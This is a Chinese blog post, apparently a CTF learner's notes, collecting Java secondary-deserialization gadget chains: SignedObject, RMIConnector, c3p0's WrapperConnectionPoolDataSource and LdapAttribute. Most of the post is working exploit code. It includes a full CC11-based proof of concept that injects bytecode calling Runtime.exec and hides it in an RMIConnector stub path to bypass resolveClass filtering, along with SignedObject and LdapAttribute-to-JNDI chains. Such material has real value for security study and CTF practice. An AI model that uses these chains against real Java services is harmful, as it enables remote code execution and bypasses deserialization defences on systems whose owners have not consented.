前言
这里收集一些经常会用到的Java二次反序列化链。
SignedObject
getter–>readObject
这个是老生常谈了,位于java.security包下。最先是在hessian反序列化里遇到,现在已经很熟悉了。通过getter方法触发,调用内部对象的readObject方法,从而绕过程序自定义的resolveClass的过滤逻辑。
下面展示payload:
1 2 3 4 5 6 7 8 9 10 11 12
   |  KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA");
  SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);
  JSONArray array = new JSONArray(); array.add(signedObject);
 
  | 
 
触发getter方法就行,这里用的是fastjson的toString反序列化
如果用CB链去触发getter的话,要这样写:
1 2 3 4 5 6 7 8 9 10 11
   |  KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA");
  SignedObject signedObject = new SignedObject(priorityQueue, privateKey, signingEngine);
  BeanComparator<Object> comparator = new BeanComparator("object");
 
  | 
 
RMIConnector
connect–>readObject
这个类在JNDI攻击的时候也可以用,具体可以看AliyunCTF2023的ezbean。
不过这里我们来看他的二次反序列化。
触发点(sink)在这里:

这里对我们传入的base64字符进行readObject操作。
往上找谁调用了这个类,找到:

我们要调用findRMIServer#findRMIServerJRMP就需要满足开头为/stub/,然后在/stub/后面拼接上base64字符。然后这个path又是由参数里的directoryURL决定的,这里还不可控,继续网上找,找到connect方法:

这里就可以通过反射修改rimServer的值为null,从而进入我们需要的方法,并且上面提到的参数值也可以通过反射控制。
现在的目标就是调用connect方法,这个可以看具体题目。
下面结合CC11给出payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
   | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
  import javax.management.remote.JMXServiceURL; import javax.management.remote.rmi.RMIConnector; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
  public class RmiConnectorPOC1 {     public static void main(String[] args)throws Exception {         JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");         RmipayloadGenerator rmipayloadGenerator=new RmipayloadGenerator();         setFieldValue(jmxServiceURL,"urlPath","/stub/"+rmipayloadGenerator.getbase64CC11payload());         RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);         InvokerTransformer transformer = new InvokerTransformer("toString",                 new Class[0], new Object[0]);         HashMap<String, String> innerMap = new HashMap<>();         Map<Object,Object> m = LazyMap.decorate(innerMap, transformer);         HashMap outerMap = new HashMap();         TiedMapEntry tied = new TiedMapEntry(m,rmiConnector);         outerMap.put(tied, "t");         innerMap.clear();         setFieldValue(transformer, "iMethodName", "connect");         unSerial(outerMap);
      }
      private static ByteArrayOutputStream unSerial(Object o) throws Exception{         ByteArrayOutputStream bs = new ByteArrayOutputStream();         ObjectOutputStream out = new ObjectOutputStream(bs);         out.writeObject(o);         ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));         in.readObject();         in.close();         return bs;     }     private static void Base64Encode(ByteArrayOutputStream bs){         byte[] encode = Base64.getEncoder().encode(bs.toByteArray());         String s = new String(encode);         System.out.println(s);         System.out.println(s.length());     }     private static void setFieldValue(Object obj, String field, Object arg) throws Exception{         Field f = obj.getClass().getDeclaredField(field);         f.setAccessible(true);         f.set(obj, arg);     } } import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
  import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
  public class RmipayloadGenerator {     public static String getbase64CC11payload()throws Exception{                  ClassPool pool = ClassPool.getDefault();         CtClass ctClass = pool.makeClass("i");         CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");         ctClass.setSuperclass(superClass);         CtConstructor constructor = ctClass.makeClassInitializer();         constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");         byte[] bytes = ctClass.toBytecode();
                   TemplatesImpl templates = new TemplatesImpl();         setFieldValue(templates, "_bytecodes", new byte[][]{bytes});         setFieldValue(templates, "_name", "t");         InvokerTransformer transformer = new InvokerTransformer("toString",                 new Class[0], new Object[0]);         HashMap<String, String> innerMap = new HashMap<>();         Map<Object,Object> m = LazyMap.decorate(innerMap, transformer);         HashMap outerMap = new HashMap();         TiedMapEntry tied = new TiedMapEntry(m, templates);         outerMap.put(tied, "t");         innerMap.clear();         setFieldValue(transformer, "iMethodName", "newTransformer");
                   ByteArrayOutputStream aos = new ByteArrayOutputStream();         ObjectOutputStream oos = new ObjectOutputStream(aos);         oos.writeObject(outerMap);         oos.flush();         oos.close();         return Base64Encode(aos);     }     private static void setFieldValue(Object obj, String field, Object arg) throws Exception{         Field f = obj.getClass().getDeclaredField(field);         f.setAccessible(true);         f.set(obj, arg);     }     private static String Base64Encode(ByteArrayOutputStream bs){         byte[] encode = Base64.getEncoder().encode(bs.toByteArray());         String s = new String(encode);
 
          return s;     }
  }
   | 
 
WrapperConnectionPoolDataSource
setter–>readObject
这个需要fastjson或jackson依赖,因为要用到set方法
这个是c3p0链里面用到的一个类,也是进行二次反序列化的。
当时还不是特别理解,现在再来写一遍。
首先我们需要知道的是,这个类里面存在一个PropertyListener,并且它在这个类调用构造方法进行初始化的时候就会被init,如下图:

PropertyListener,顾名思义,属性监听器,也就是说,当任何属性发生变化时,都会先经过一遍setUpPropertyListeners方法。这点很重要。
接下来,我们看看这个setUpPropertyListeners方法里发生了什么:

这里直接看触发点了。如果我们修改的属性值equals,“userOverridesAsString”,那么我们就会进入这个else,然后调用C3P0ImplUtils.parseUserOverridesAsString( (String) val ),这个val就是我们修改属性时设置的值。
我们跟进这个方法看一下:

这里面会取出hex十六进制字符进行反序列化,而取出的规则是HASM_HEADER后开始到倒数第二个字符。这里的HASM_HEADER是HexAsciiSerializedMap,所以我们的反序列化数据要以这个开头,并在最后随便加一个字符,这里我们规定加一个分号。
后面跟进fromByteArray,deserializeFromByteArray,就能看到最后是一个原生反序列化:

回到开始,我们是调用userOverridesAsString的set方法才触发了链子。所以这里要结合fastjson或者jackson才行。
fastjson会在反序列化的时候先新建一个WrapperConnectionPoolDataSource,然后再set。

LdapAttribute
来源于RWCTF,实现的效果是getter–>JNDI,最终的sink还是JNDI
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
   | public class Test01 {
      public static void main(String[] args) throws Exception {
          String ldapCtxUrl = "ldap://127.0.0.1:50388/";         Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");         Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(                 new Class[] {String.class});         ldapAttributeClazzConstructor.setAccessible(true);         Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(                 new Object[] {"any"});         Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");         baseCtxUrlField.setAccessible(true);         baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);         Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");         rdnField.setAccessible(true);         rdnField.set(ldapAttribute, new CompositeName("a//b"));
          BeanComparator<Object> beanComparator = new BeanComparator<>();         setField(beanComparator, "property", "attributeDefinition");         beanComparator.compare(ldapAttribute, ldapAttribute);
 
      }          public static void setField(Object object,String fieldName,Object value) throws Exception{         Class<?> c = object.getClass();         Field field = c.getDeclaredField(fieldName);         field.setAccessible(true);         field.set(object,value);     }
  }
  | 
 
具体原理可以看参考文章中,4ra1n许少师傅的分析。
总结
常见的二次反序列化好像就这四种,以后遇到新的再来补充。另外,很多链子最先都在CTF里出现,所以打完比赛一定要复盘,看看有没有新的知识。
参考
Java二次反序列化学习 | stoocea’s blog
使用JDK类绕过TemplatesImpl黑名单